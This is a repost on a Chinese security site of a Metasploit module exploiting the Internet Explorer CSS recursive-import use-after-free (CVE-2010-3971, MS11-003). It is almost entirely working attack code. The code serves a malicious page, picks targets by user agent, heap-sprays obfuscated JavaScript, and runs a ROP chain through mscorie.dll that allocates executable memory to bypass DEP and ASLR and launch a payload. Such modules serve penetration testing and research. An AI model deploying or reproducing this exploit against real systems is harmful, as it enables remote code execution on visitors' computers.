首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Internet Explorer CSS Recursive Import Use After Free
来源:http://www.metasploit.com 作者:passerby 发布时间:2011-02-12  
##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking # Need more love for Great

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0", # Should be 6
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, # no way to test without just trying it
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer CSS Recursive Import Use After Free',
			'Description'    => %q{
					This module exploits a memory corruption vulnerability within Microsoft\'s
				HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
				import, a C++ object is deleted and later reused. This leads to arbitrary
				code execution.

				This exploit utilizes a combination of heap spraying and the
				.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
				opt-in to ASLR. As such, this module should be reliable on all Windows
				versions with .NET 2.0.50727 installed.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'passerby',       # Initial discovery / report
					'd0c_s4vage',     # First working public exploit
					'jduck'           # Metasploit module (ROP, @WTFuzz spray)
				],
			'Version'        => '$Revision: 11730 
, 'References' => [ [ 'CVE', '2010-3971' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25) [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ], [ 'MSB', 'MS11-003' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, 'DerefOff' => 0x30, 'FlagOff' => 0x54, 'CallDeref1' => 0x20, 'SignedOff' => 0x1c, 'CallDeref2' => 0x24, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], # For now, treat the IE6 target the same as teh debug target. [ 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, 'DerefOff' => 4, 'FlagOff' => 8, 'CallDeref1' => 0xc, 'SignedOff' => 0x10, 'CallDeref2' => 0x14, 'CallDeref3' => 0x18, 'CallDeref4' => 0x1c, 'Deref4Off' => 0x20 } ] ], # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent !~ /\.NET CLR 2\.0\.50727/ print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727") return nil end if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ mytarget = targets[2] elsif agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}") end mytarget end def on_request_uri(cli, request) print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end #print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}") buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) # We stick in a placeholder string to replace after UTF-16 encoding placeholder = "a" * (css_name.length / 2) uni_placeholder = Rex::Text.to_unicode(placeholder) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML") # Generate the ROP payload rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'leave / ret') ret = rva2addr(rvas, 'ret') pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded # Build the deref-fest buffer len = 0x84 + rop_stack.length special_sauce = rand_text_alpha(len) # This ptr + off must contain 0x00000001 special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') # Pointer that is dereferenced to get the flag special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set no_bit1 = rand(0xff) & ~2 special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) js_function = rand_text_alpha(rand(100)+1) # Construct the javascript custom_js = <<-EOS function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); vlink.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(vlink); } EOS opts = { 'Symbols' => { 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, 'Methods' => %w{ prepare } } } custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) dll_uri = get_resource() dll_uri << '/' if dll_uri[-1,1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page html = <<-EOS <html> <head> <script language='javascript'> #{js} </script> </head> <body onload='#{js_function}()'> <object classid="#{dll_uri}#GenericControl"> </body> </html> EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) send_response(cli, html, { 'Content-Type' => 'text/html' }) elsif request.uri =~ /\.dll$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL") # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually # use it's contents ... ibase = (0x2000 | rand(0x8000)) << 16 dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) # Send a .NET v2.0 DLL down send_response(cli, dll, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' }) else # Defines two different CSS import styles import_styles = [ "@import url(\"#{placeholder}\");\n", "@import \"#{placeholder}\";\n" ] # Choose four imports of random style css = '' 4.times { css << import_styles[rand(import_styles.length)] } css = "\xff\xfe" + Rex::Text.to_unicode(css) css.gsub!(uni_placeholder, css_name) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS") send_response(cli, css, { 'Content-Type' => 'text/css' }) end # Handle the payload handler(cli) end def rvas_mscorie_v2() # mscorie.dll version v2.0.50727.3053 # Just return this hash { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, 'leave / ret' => 0x25e5, 'ret' => 0x25e5+1, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, 'pop eax / ret' => 0x5ba1, 'pop ebx / ret' => 0x54c0, 'pop ecx / ret' => 0x1e13, 'pop esi / ret' => 0x1d9a, 'pop edi / ret' => 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x63f00000, 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ # Allocate an RWX memory segment 'pop ecx / ret', 'imp_VirtualAlloc', 'call [ecx] / pop ebp / ret 0xc', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt :unused, # Copy the original payload 'pop ecx / ret', :unused, :unused, :unused, :memcpy_dst, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc', :unused, 'pop esi / ret', :unused, :unused, :unused, :memcpy_src, 'pop edi / ret', 0xdeadf00d # to be filled in above ] (0x200 / 4).times { rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' } # Execute the payload ;) rop_stack << 'call [ecx] / pop ebp / ret 0xc' rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) elsif e == :memcpy_dst # Store our new memory ptr into our buffer for later popping :) buf_addr + 0x84 + (21 * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows CreateSizeDI
·webERP 4.0.1 Shell Upload
·Drupal CAPTCHA Logic Security
·MoviePlay 4.82 (.lst) Buffer O
·LocatePC v1.05 (Ligatt Version
·Openedit <= v5.1294 Remote Cod
·XM Easy Personal FTP Server 5.
·Linksys WAP610N Unauthenticate
·CuteZip 2.1 Buffer Overflow Ex
·rdesktop 1.6.0 Memory Corrupti
·xRadio 0.95b Local Buffer Over
·Unreal Tournament Buffer Overf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved